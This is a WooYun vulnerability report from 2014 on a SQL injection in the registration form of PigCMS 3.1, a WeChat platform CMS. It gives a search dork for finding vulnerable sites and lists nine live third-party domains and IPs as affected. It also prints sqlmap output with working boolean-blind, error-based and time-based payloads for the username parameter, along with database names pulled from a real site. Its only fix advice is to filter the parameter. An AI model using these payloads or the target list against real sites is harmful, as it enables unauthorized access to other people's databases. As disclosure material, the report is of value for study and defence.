当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085324

漏洞标题:pigcms3.1 另一处注入

相关厂商:小猪CMS

漏洞作者: 宇少

提交时间:2014-12-05 15:27

修复时间:2015-03-05 15:28

公开时间:2015-03-05 15:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

pigcms3.1 用户注册处注入漏洞

详细说明:

 WooYun: 某通用型微信公众平台SQL注入(泄露上万商家信息) 


关键词:inurl:index.php?g=Home&m=Index&a=help

相关案例:
http://www.fifee.com/
http://lierk.cn/index.php?m=Index&a=login+
http://a.t2.weixinbiz.cn/index.php?m=Index&a=reg
http://114.215.185.138/index.php?m=Users&a=checklogin
http://wechat.lx1999.com.cn/index.php?m=Users&a=checklogin
http://www.jpsbzr.com/index.php?m=Index&a=login
http://www.iweichat.com/index.php?m=Index&a=login
http://166u.cn/
http://wx.lefangw.cn/index.php?g=Home&m=Index&a=help

漏洞证明:

#1
演示站点:
用户注册

http://wechat.lx1999.com.cn/index.php?m=Index&a=login


然后抓包,username参数为过滤,可以注入,单引号已经带入进去咯

1.jpg


这里直接丢进sqlmap里面跑吧~

---
Place: POST
Parameter: username
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: username=synack') RLIKE (SELECT (CASE WHEN (8978=8978) THEN 0x73796e61636b ELSE 0x28 END)) AND ('IRPc'='IRPc&password=synack&repassword=synack&mp=13585001213&email=15515002@qq.com&invitecode=&__hash__=3e9fde7441cc55bf46afe7f8361af205_55b6754b5cf7bfbacb68f0eda1ff0b9a
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=synack') AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(0x716f796471,(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7165736d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('BXpm'='BXpm&password=synack&repassword=synack&mp=13585001213&email=15515002@qq.com&invitecode=&__hash__=3e9fde7441cc55bf46afe7f8361af205_55b6754b5cf7bfbacb68f0eda1ff0b9a
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=synack') AND SLEEP(5) AND ('CIZJ'='CIZJ&password=synack&repassword=synack&mp=13585001213&email=15515002@qq.com&invitecode=&__hash__=3e9fde7441cc55bf46afe7f8361af205_55b6754b5cf7bfbacb68f0eda1ff0b9a
---
web application technology: Apache
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: username=synack') RLIKE (SELECT (CASE WHEN (8978=8978) THEN 0x73796e61636b ELSE 0x28 END)) AND ('IRPc'='IRPc&password=synack&repassword=synack&mp=13585001213&email=15515002@qq.com&invitecode=&__hash__=3e9fde7441cc55bf46afe7f8361af205_55b6754b5cf7bfbacb68f0eda1ff0b9a
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=synack') AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(0x716f796471,(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7165736d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('BXpm'='BXpm&password=synack&repassword=synack&mp=13585001213&email=15515002@qq.com&invitecode=&__hash__=3e9fde7441cc55bf46afe7f8361af205_55b6754b5cf7bfbacb68f0eda1ff0b9a
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=synack') AND SLEEP(5) AND ('CIZJ'='CIZJ&password=synack&repassword=synack&mp=13585001213&email=15515002@qq.com&invitecode=&__hash__=3e9fde7441cc55bf46afe7f8361af205_55b6754b5cf7bfbacb68f0eda1ff0b9a
---
web application technology: Apache
back-end DBMS: MySQL 5.0
available databases [5]:
[*] information_schema
[*] mysql
[*] start
[*] weixine
[*] weixintest


修复方案:

过滤一下username

版权声明:转载请注明来源 宇少@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2014-12-05 15:49 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    宇哥来了@07@jyhack.com @zhxs